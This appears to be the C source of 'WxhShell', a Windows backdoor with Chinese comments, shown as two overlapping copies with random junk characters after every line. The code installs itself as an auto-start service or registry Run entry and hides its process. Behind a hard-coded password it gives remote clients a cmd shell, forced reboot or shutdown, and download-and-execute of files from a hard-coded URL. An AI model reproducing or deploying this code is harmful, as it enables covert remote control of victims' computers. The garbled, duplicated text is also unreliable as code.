    } bG[)r  
  // 关机 ^# gR"\F`d  
  case 'd': { j`$d W H/2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zXx)xIO  
    if(Boot(SHUTDOWN)) ;bxL$1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8X2NEVH]  
    else { _^"0"<,  
    closesocket(wsh); -H(\[{3{V  
    ExitThread(0); x $ oId{;  
    } d#]XyN>  
    break; lDm0O)Dh!  
    } j @+QwZL|  
  // 获取shell *wVWyC  
  case 's': { f6-OR]R5  
    CmdShell(wsh); gls %<A{C  
    closesocket(wsh); '-5Q>d~&h  
    ExitThread(0); f-/zR%s{  
    break; ;/]v mgl2  
  } WT9 k85hqj  
  // 退出 )=c/{  
  case 'x': { VOK0)O>&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); n%Gk {h5  
    CloseIt(wsh); ('7qJkV  
    break; #:n:3]t  
    } BK16~Wl  
  // 离开 [N4#R  
  case 'q': { V]$J&aD  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); vfZ.js/  
    closesocket(wsh); )"Vd8*e  
    WSACleanup(); ,Rh6( I  
    exit(1); \ZPmPu9^(  
    break; \9}RAr#2]N  
        } i[d@qp!H=  
  } @mB*fl?-  
  } Ps!~miN|>  
eL7\})!W  
  // 提示信息 +Tug.[A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x^ruPiH  
} 0X"D!G):  
  } #.kDin~!  
)$_b?  
  return; u= u#6%  
} ^dF?MQA<@  
eURj'8o),  
// shell模块句柄 :_y}8am;H~  
int CmdShell(SOCKET sock) C VyE5w  
{ vw/L|b7G  
STARTUPINFO si; > R5<D'cEN  
ZeroMemory(&si,sizeof(si)); :6r)HJ5sg  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jR CG}'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; AvS<b3EoN  
PROCESS_INFORMATION ProcessInfo; k&h3"  
char cmdline[]="cmd"; Y={_o!9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `"* ]C  
  return 0; ClvqI"Rd  
} )LP=IT  
93aRWEu3  
// 自身启动模式 `/0S]?a.{B  
int StartFromService(void)  ;Iu}Q-b*  
{  A/zZ%h  
typedef struct Rt^~db  
{ @1UC9}>  
  DWORD ExitStatus; ~Kr_[X:d5  
  DWORD PebBaseAddress; e0ea2 2  
  DWORD AffinityMask; 7"c^$fj  
  DWORD BasePriority; N @24)g?  
  ULONG UniqueProcessId; z[q#Dw  
  ULONG InheritedFromUniqueProcessId; 'nO%1BZj+  
}   PROCESS_BASIC_INFORMATION; [h GS*  
mrgieb%  
PROCNTQSIP NtQueryInformationProcess; KkJK5dZo  
dO{a!Ca  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z+*t=?L,,G  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _Bp{~-fO  
Qg\{d)X[N  
  HANDLE             hProcess; SQ_w~'(  
  PROCESS_BASIC_INFORMATION pbi; Bi'qy]%  
uGxh}'&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  gh{Z=_  
  if(NULL == hInst ) return 0; */ ~_3  
Hmi]qK[F  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); NQx`u"=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); n7r )wy  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bvK fxAih  
uFzvb0O`O  
  if (!NtQueryInformationProcess) return 0; ?Thh7#7LM  
&u@<0 1=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I|27%i  
  if(!hProcess) return 0; drr n&y  
ah (lH5r  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; AP8YY8,  
X4"D Lt"  
  CloseHandle(hProcess); sr+Y"R  
tTzPT<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =/J{>S>(i  
if(hProcess==NULL) return 0; ?=22@Q}g  
I}&`IUP  
HMODULE hMod; 0"*!0s ~  
char procName[255]; rLU+-_  
unsigned long cbNeeded; =68CR[H  
z,"fr%*,N  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f ;[\'_.*  
9F&s9(=\  
  CloseHandle(hProcess); NZ}DbA+g;|  
= %O@%v  
if(strstr(procName,"services")) return 1; // 以服务启动 ^` 96L  
8N8N)#A[  
  return 0; // 注册表启动 oY#62&wk4  
} |N{?LKR %  
zuq7 x7  
// 主模块 :slVja$e  
int StartWxhshell(LPSTR lpCmdLine) _wC4n }J  
{ H1alf_(_ \  
  SOCKET wsl; h]6"~ m  
BOOL val=TRUE; iL%Q@!ka  
  int port=0; m3cO { 1I  
  struct sockaddr_in door; 23F<f+2S  
Q/y^ff]=  
  if(wscfg.ws_autoins) Install(); v7i5R !  
B-@ ]+W  
port=atoi(lpCmdLine); &K1\"  
ubpVrvu@  
if(port<=0) port=wscfg.ws_port; k|Hxd^^I  
w _*|u  
  WSADATA data; u;[*Z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zi-; 7lT  
$!(J4v=X  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "`aNNIG&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fc~6/  
  door.sin_family = AF_INET; Bbb_}y|CA  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ymIjm0jVh  
  door.sin_port = htons(port); LV^V`m0#  
\5]${vs&s  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { MS Ml  
closesocket(wsl); ?\ qfuA9.  
return 1; 'q#$^ ='o  
} j"8f,er  
@dy<=bh~  
  if(listen(wsl,2) == INVALID_SOCKET) { _* xjG \!  
closesocket(wsl); tKnvNOhn  
return 1; ,}("es\b  
} x"n!nT%Z  
  Wxhshell(wsl); F|eKt/>e  
  WSACleanup(); A@-A_=a,  
YkPc&&#  
return 0; MQ9Nn|4  
(Hr_gkGtM  
} Mn- f  
Qj?qWVapA  
// 以NT服务方式启动 -FAAP&LG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I$#B#w?!$r  
{ 0X`sQNx  
DWORD   status = 0; }\9elVt'2  
  DWORD   specificError = 0xfffffff; "kE$2Kg  
3Ishe"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +}XFkH~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ddf7wszW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zfAkWSY  
  serviceStatus.dwWin32ExitCode     = 0; vS! TnmF  
  serviceStatus.dwServiceSpecificExitCode = 0; :V(+]<  
  serviceStatus.dwCheckPoint       = 0; 7rc6  
  serviceStatus.dwWaitHint       = 0; jLANv{"  
w3l+BUn:X  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); P4M*vZq)  
  if (hServiceStatusHandle==0) return; FD}hw9VyF@  
>O{U4_j@(  
status = GetLastError(); A]z~Dw3  
  if (status!=NO_ERROR) {Hv/|.),hu  
{ M@G <I]\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,[64$=R8  
    serviceStatus.dwCheckPoint       = 0; j^t#>tZS  
    serviceStatus.dwWaitHint       = 0; ,qx;kJJ  
    serviceStatus.dwWin32ExitCode     = status; B,@<60u  
    serviceStatus.dwServiceSpecificExitCode = specificError; _TB,2 R  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _K4Igq  
    return; d)G' y  
  } X3z$f(lF%)  
7O_@b$Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ` >w4G|{  
  serviceStatus.dwCheckPoint       = 0; h";0i:  
  serviceStatus.dwWaitHint       = 0; h  0EpW5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n9Mi?#xIp  
} {,Y?+F  
2:31J4t-<  
// 处理NT服务事件,比如:启动、停止 ]kJinXHW  
VOID WINAPI NTServiceHandler(DWORD fdwControl) sH//*y  
{ &rTOJ 1)V}  
switch(fdwControl) 2wHvHH!  
{ J>I.|@W4  
case SERVICE_CONTROL_STOP: : ryE`EhB  
  serviceStatus.dwWin32ExitCode = 0; Im NTk  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -~nU&$ccL  
  serviceStatus.dwCheckPoint   = 0; Hs%;uyI@$  
  serviceStatus.dwWaitHint     = 0; jTo-xP{lC  
  { j%2l%Mx(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); px@:t}  
  } q,#j *  
  return; l?F&I.{J  
case SERVICE_CONTROL_PAUSE: xQ4'$rL1d  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^)r^k8y'  
  break; On[:]#  
case SERVICE_CONTROL_CONTINUE: ~Rs_ep'+Q2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; rf2+~B{$,  
  break; YbMeSU/sX  
case SERVICE_CONTROL_INTERROGATE:  _\H MF  
  break; 8\z5*IPGs  
}; $=7'Cm ?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4LO U[D  
} 5t` :=@u  
Pj4WWKX  
// 标准应用程序主函数 v6gfyGCJ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;#3l&HRKH1  
{ h0YIPB  
bB|UQaCl  
// 获取操作系统版本 c:  /Wk  
OsIsNt=GetOsVer(); `$IuN *  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `m6>r9:  
2>l =oXq  
  // 从命令行安装 ~$#"'Tl4J  
  if(strpbrk(lpCmdLine,"iI")) Install(); J3oEN'8S  
ub C(%Y_k  
  // 下载执行文件 `yjHLg  
if(wscfg.ws_downexe) { ]9xuLJ)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6m#V=4e*  
  WinExec(wscfg.ws_filenam,SW_HIDE); RUJkfi=$  
} /Iwnl   
>900I4]I  
if(!OsIsNt) { Cu5fp.OS7  
// 如果时win9x,隐藏进程并且设置为注册表启动 5r=xhOe`  
HideProc(); !.\EU*)1  
StartWxhshell(lpCmdLine); s "KPTV  
} ^CIO,I  
else m5O;aj* i  
  if(StartFromService()) v/n4Lp$W^  
  // 以服务方式启动 \a:#e%]qz9  
  StartServiceCtrlDispatcher(DispatchTable); (1~d/u?2\  
else 7 Jxhn!  
  // 普通方式启动 sV8}Gv a  
  StartWxhshell(lpCmdLine); H4s^&--  
=0te.io)3O  
return 0; K[tQ>C@s2  
} gWt}q-@nRR  
hdL/zW7]  
{K\l3_=5qb  
& PHejG_#  
=========================================== 3F5Y#[L`  
.A;e` cKb  
_[zZm*  
X$o$8s  
oF1{/ERS  
Kjw4,z%\94  
" ~H[  
_ZM$&6EC  
#include <stdio.h> {Y>5 [gp  
#include <string.h> G ZxM44fP  
#include <windows.h> a;=)`  
#include <winsock2.h> 6jv_j[[  
#include <winsvc.h> d~bZOy  
#include <urlmon.h> XLEEd?Vct9  
>s 4"2X  
#pragma comment (lib, "Ws2_32.lib") U(lcQC`$  
#pragma comment (lib, "urlmon.lib") J~=bW\^I  
+_.k\CRms  
#define MAX_USER   100 // 最大客户端连接数 :}QBrd  
#define BUF_SOCK   200 // sock buffer 4CO"> :  
#define KEY_BUFF   255 // 输入 buffer _lWC)bv`  
[E9V#J89  
#define REBOOT     0   // 重启 tDWW 4H  
#define SHUTDOWN   1   // 关机 kq;1Ax0 {  
P}So>P~2  
#define DEF_PORT   5000 // 监听端口 |Ai/q6u  
(0L7Ivg<  
#define REG_LEN     16   // 注册表键长度 3NI3b-7  
#define SVC_LEN     80   // NT服务名长度 ]Gk;n/! B  
NSQ}:m  
// 从dll定义API RCXm< /  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l;*/F`>c  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xvP=i/SO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); fkLI$Cl  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qOA+ao  
K U 2LJ_~Y  
// wxhshell配置信息 D{-h2=V  
struct WSCFG { RMinZ}/  
  int ws_port;         // 监听端口 s)Gnj;  
  char ws_passstr[REG_LEN]; // 口令 bYPkqitqz  
  int ws_autoins;       // 安装标记, 1=yes 0=no nkI+"$Rz0  
  char ws_regname[REG_LEN]; // 注册表键名 _n6ge*,E  
  char ws_svcname[REG_LEN]; // 服务名 8Ld`$_E  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  HaJs)j  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9Fo00"q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 xC3h m  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {1 VHz])I  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" T1$fu(f  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 BZS%p  
?q^o|Y/  
}; K|i:tHF]@  
V=$ pXpro%  
// default Wxhshell configuration st- z>}  
struct WSCFG wscfg={DEF_PORT, hv)>HU&  
    "xuhuanlingzhe", w}8 ,ICL  
    1, tcDWx:Q  
    "Wxhshell", 9v\x&h  
    "Wxhshell", vY 0EffZ  
            "WxhShell Service", 0P{^aSxTP  
    "Wrsky Windows CmdShell Service", -L4fp  
    "Please Input Your Password: ", Nk.m$  
  1, $|kq{@<  
  "http://www.wrsky.com/wxhshell.exe", ^Rr!YnEN  
  "Wxhshell.exe" <x QvS^|[  
    }; zKh^BwhO|X  
i-.]onR  
// 消息定义模块 qPI\Y3ZU  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; s9[?{}gd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; R07]{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; cTC -cgp  
char *msg_ws_ext="\n\rExit."; sj9j 47y  
char *msg_ws_end="\n\rQuit."; FEC`dSTI  
char *msg_ws_boot="\n\rReboot..."; ^T?zR7r  
char *msg_ws_poff="\n\rShutdown..."; csh@C ckC8  
char *msg_ws_down="\n\rSave to "; z3n273W>6  
hgYi ,e  
char *msg_ws_err="\n\rErr!"; 0V RV. Ml  
char *msg_ws_ok="\n\rOK!"; jHPkfwfAF  
*B4?(&0  
char ExeFile[MAX_PATH]; 'E\/H17  
int nUser = 0; .Us)YVbk  
HANDLE handles[MAX_USER]; HZINsIm!?  
int OsIsNt; -_*ux!  
7 KuUV!\h`  
SERVICE_STATUS       serviceStatus; ~FP4JM,y6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Kw%to9 eh)  
(:(Im k;9  
// 函数声明 _i3?;Fds  
int Install(void); M]Kx g;  
int Uninstall(void); tPp9=e2[s  
int DownloadFile(char *sURL, SOCKET wsh); :VkuK@Th`  
int Boot(int flag); ;[qA?<GJ  
void HideProc(void); <?2g\+{s9  
int GetOsVer(void); CXQ+h  
int Wxhshell(SOCKET wsl); 5dvP~sw  
void TalkWithClient(void *cs); WyA`V C  
int CmdShell(SOCKET sock); Sg&0a$  
int StartFromService(void); e/7rr~"|  
int StartWxhshell(LPSTR lpCmdLine); ;\'d9C  
7 @W}>gnf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Io;x~i09K  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); < )qJI'u|  
?&`PN<~2z  
// 数据结构和表定义 Ad}Nc"O  
SERVICE_TABLE_ENTRY DispatchTable[] = ]|xfKDu  
{ AjYvYMA&  
{wscfg.ws_svcname, NTServiceMain}, (]@yDb4  
{NULL, NULL} >P9|?:c  
}; s![Di  
(DIMt-wz  
// 自我安装 whW% c8  
int Install(void) ts:YJAu+F  
{ Jkx_5kk/\  
  char svExeFile[MAX_PATH]; r"_U-w  
  HKEY key; ^g'P H{68  
  strcpy(svExeFile,ExeFile); 5i0vli /L  
]/#3 P  
// 如果是win9x系统,修改注册表设为自启动 yI{4h $c  
if(!OsIsNt) { `o4%UkBpM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ykS-5E`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .A Dik}o  
  RegCloseKey(key); *^3&Y@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JBI>D1`"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F(; =^w  
  RegCloseKey(key); e"d-$$'e  
  return 0; NiSybyR$  
    } _x`oab0@  
  } 8{- *Q(=/  
} d)WGI RUx  
else { Ajm  
oypF0?!m  
// 如果是NT以上系统,安装为系统服务  NZu2D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z ~3  
if (schSCManager!=0) Q{o]^tN  
{ Z[G[.\0  
  SC_HANDLE schService = CreateService =h>jo&=Wad  
  ( |e_'% d&  
  schSCManager, `C&@6{L  
  wscfg.ws_svcname, PL|ea~/  
  wscfg.ws_svcdisp, jmBsPSGIC  
  SERVICE_ALL_ACCESS, ,$+ P  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @hF$qevX  
  SERVICE_AUTO_START, 6n?0MMtR  
  SERVICE_ERROR_NORMAL, =c ;.cW  
  svExeFile, 8b[<:{[YB  
  NULL, grxlGS~Q  
  NULL, sTu]C +A  
  NULL, -NPX;e$<  
  NULL, ="('  #o  
  NULL GK`U<.[c  
  ); Z [YSE T  
  if (schService!=0) Kgw, ]E&7  
  { vn x+1T  
  CloseServiceHandle(schService); M\A6;dz'  
  CloseServiceHandle(schSCManager); `]I p`_{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r>lo@e0G  
  strcat(svExeFile,wscfg.ws_svcname); c$8M}q:X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4*&2D-8<K  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Tg@:mw5  
  RegCloseKey(key); xyrlR;Sk  
  return 0; SUb:0GUa  
    } ,Ma%"cWVC  
  } NtG^t}V  
  CloseServiceHandle(schSCManager); `D?  &)Y  
} q\G7T{t$.  
} V4ybrUWK  
or`D-x)+@  
return 1; LlcH#L$  
} Gm[XnUR7V  
C/!7E:  
// 自我卸载 ' j\~> a3\  
int Uninstall(void) bo-lT-I  
{ |Sv}/ P-  
  HKEY key; `hDH7u!U.  
#2dH2k\F  
if(!OsIsNt) { .k"unclT0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,: Ij@u>)  
  RegDeleteValue(key,wscfg.ws_regname); 6Zx)L|B  
  RegCloseKey(key); 97pfMk1_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QT4&Ix,4T1  
  RegDeleteValue(key,wscfg.ws_regname); sdBB(  
  RegCloseKey(key); 8^pu C  
  return 0; 2f5YkmGc";  
  } f&I5bPS7}  
} }BWT21'-Y  
} F):1@.S  
else { ODxCD%L  
eyuQ}R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7 &iav2q  
if (schSCManager!=0) J|u_45<  
{ 1oI2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z4dl'v)9  
  if (schService!=0) pwVaSnre`  
  { 39bw,lRPV  
  if(DeleteService(schService)!=0) { @2~;)*  
  CloseServiceHandle(schService); M Al4g+es  
  CloseServiceHandle(schSCManager); YRyaOrl$<  
  return 0; skF}_  
  } fuT Bh6w&  
  CloseServiceHandle(schService); - WQ)rz  
  } zym6b@+jN  
  CloseServiceHandle(schSCManager); g'NR\<6A  
} l\37/Z  
} MxqIB(5k  
y9~:[jB  
return 1; @!*I mNMI  
} 0.&-1pw  
;!B,P-Z"g  
// 从指定url下载文件 bb}Fu/S  
int DownloadFile(char *sURL, SOCKET wsh) _2WW0  
{ A$n:   
  HRESULT hr; <m> m"|G  
char seps[]= "/"; 5nXmaj  
char *token; "}2I0tM  
char *file; Q>I7.c-M|  
char myURL[MAX_PATH]; SM4'3d&mf  
char myFILE[MAX_PATH]; fW$1f5g"  
K.Y.K$NjP{  
strcpy(myURL,sURL); ]4B&8n!  
  token=strtok(myURL,seps); ),lE8A{ H  
  while(token!=NULL) A&{eC C  
  { x$z>.4  
    file=token; EKUiX#p: M  
  token=strtok(NULL,seps); /H$:Q|T}  
  } A&V'WahC@I  
P}w0=  
GetCurrentDirectory(MAX_PATH,myFILE); 2>g!+p Ox  
strcat(myFILE, "\\"); MaZVGrcC  
strcat(myFILE, file); hVNT  
  send(wsh,myFILE,strlen(myFILE),0); ,MUgww!.  
send(wsh,"...",3,0); ir~4\G!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); k{ulu  
  if(hr==S_OK) G_ #MXFWt  
return 0; a&Me#H{  
else }[y_Fr0  
return 1; l)f 2T@bHl  
bZ}T;!U?I  
} w3M F62:  
~&D5RfK5f  
// 系统电源模块 B.}j1 Bb  
int Boot(int flag) zd=N.  
{ esd9N'.Q*  
  HANDLE hToken; e 3TKg  
  TOKEN_PRIVILEGES tkp; \"9ysePI  
CYdYa|  
  if(OsIsNt) { C?]+(P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7>3+]njw  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %<1_\N7  
    tkp.PrivilegeCount = 1; Y?%=6S  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2]Ei4%jo  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $U'*}S  
if(flag==REBOOT) { VuuF _y;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) oGL2uQXX  
  return 0; l - ~PX  
} MADt$_  
else { {d%hkbN+{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +A1xqOB  
  return 0; !.7m4mKzo  
} \"P$*y4Le  
  } :ay`Id_tm  
  else { ]?_V+F  
if(flag==REBOOT) { Ue=1NnRDkA  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ->W rBO  
  return 0; L$?YbQo7  
} A~;+P  
else { 2>)::9e4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) P}vk5o'  
  return 0; Ki(0s  
} 8Rnq &8A  
} QEP|%$:i  
o4,9jk$  
return 1; &(NW_ <(  
} 'JJ :  
of>H&G)@  
// win9x进程隐藏模块 A`V:r2hnb  
void HideProc(void) ~n%]u! 6  
{ Q 822 #  
4{%-r[C9k  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $ Zj3#l:rK  
  if ( hKernel != NULL ) @eP(j@(^  
  { {m" I-VF  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w}?,N  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1~S'' [  
    FreeLibrary(hKernel); 0NXaAf:2Z  
  } '\P+Bu]6&  
[6%y RQ_  
return; ?+L7Bd(EF%  
} [jTZxH<  
)Mh5q&ow  
// 获取操作系统版本 {"_V,HmEF+  
int GetOsVer(void) ]:Pkh./  
{ 1n#{c5T  
  OSVERSIONINFO winfo; )H{OqZZYD  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;pG5zRe  
  GetVersionEx(&winfo); <<&SyP  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) cUwR6I9  
  return 1; {<Xl57w-Q  
  else NZ- 57Ji  
  return 0; } A}Vd:#  
} iThf\  
3m"9q  
// 客户端句柄模块 /KhY,G'Z  
int Wxhshell(SOCKET wsl) lN7YU-ygz  
{ B~%SB/eu  
  SOCKET wsh; 9w-;d=(Q  
  struct sockaddr_in client; MX7$f (Hy  
  DWORD myID; VVc-Dx  
,PX7}//X^  
  while(nUser<MAX_USER) uC?/p1  
{ j^ttTq|l  
  int nSize=sizeof(client); e*39/B0S  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); XXb,*u 3  
  if(wsh==INVALID_SOCKET) return 1; AZnFOS  
p e$WSS J  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); q^b12@.  
if(handles[nUser]==0) D;Y2yc[v  
  closesocket(wsh); hmv*IF.  
else QLZ%m$Z  
  nUser++; N._^\FRyn  
  } >n5Kz]]%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l'?(4 N  
q ;e/gP2  
  return 0; @Dd3mWKq  
} 1+Bj` ACP  
YGZa##i  
// 关闭 socket !uhh_3RH  
void CloseIt(SOCKET wsh) &izk$~  
{ 8zpTCae^=7  
closesocket(wsh); `'ak/%Krh  
nUser--; $ 3R5p  
ExitThread(0); xS_tB)C  
} ;eP. B/N  
nDXy$f8  
// 客户端请求句柄 Suk;##I  
void TalkWithClient(void *cs) |q 0iX2W  
{ qO>A 6  
vcSb:('  
  SOCKET wsh=(SOCKET)cs; MwWN;_#EO)  
  char pwd[SVC_LEN]; NZuylQ)0  
  char cmd[KEY_BUFF]; ":L d}~>  
char chr[1]; Ar`U / %Cu  
int i,j; BsYJIKfW  
s+a#x(7{  
  while (nUser < MAX_USER) { tS[@?qP  
1pTQMf a  
if(wscfg.ws_passstr) { J!iK W  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  bRx}ih  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }SGb`l  
  //ZeroMemory(pwd,KEY_BUFF); CMYkxU  
      i=0; `W%R  
  while(i<SVC_LEN) { B{NGrC`5)  
78E<_UgcB  
  // 设置超时 }nWW`:t kx  
  fd_set FdRead; W<H<~wf#  
  struct timeval TimeOut; - S%8  
  FD_ZERO(&FdRead); { ?]&P  
  FD_SET(wsh,&FdRead); q`@8  
  TimeOut.tv_sec=8; % &i Wc_"  
  TimeOut.tv_usec=0; 0V'XE1h  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9<"l!noy  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]Waa7)}DM  
hJ(S]1B~G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M1XzA `*  
  pwd=chr[0]; 8o,"G}Hjk  
  if(chr[0]==0xd || chr[0]==0xa) { CPu~^ik  
  pwd=0; `YK#m4gc  
  break; 0|~3\e/QV  
  } m"~),QwF9  
  i++; ptTp63+  
    } BtKbX)R$J  
t ZA%^Y  
  // 如果是非法用户,关闭 socket [?F]S:/i  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z5t"o !  
} - s0QEQ  
;})s o  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &MGM9 zm-]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g;!,2,De}  
L_fiE3G|>  
while(1) { X1GM\*BE  
v;IuB  
  ZeroMemory(cmd,KEY_BUFF); Ai5D[ykX  
s@|TQ9e |j  
      // 自动支持客户端 telnet标准   HeM-  
  j=0; 'dcO-A:>  
  while(j<KEY_BUFF) { iIU>:)i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;h7O_|<%  
  cmd[j]=chr[0]; oqy}?<SQ  
  if(chr[0]==0xa || chr[0]==0xd) { Q5tx\GE  
  cmd[j]=0; e`Tssa+  
  break; O+o_{t\R  
  } =kn-F T  
  j++; \>  
    } /@]@Tz@'  
pAc "Wo(Q  
  // 下载文件 p}h9>R  
  if(strstr(cmd,"http://")) { rTM0[2N  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); o`\@Yq$.  
  if(DownloadFile(cmd,wsh)) (?~*.g!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \_3#%%z  
  else A]OVmw  
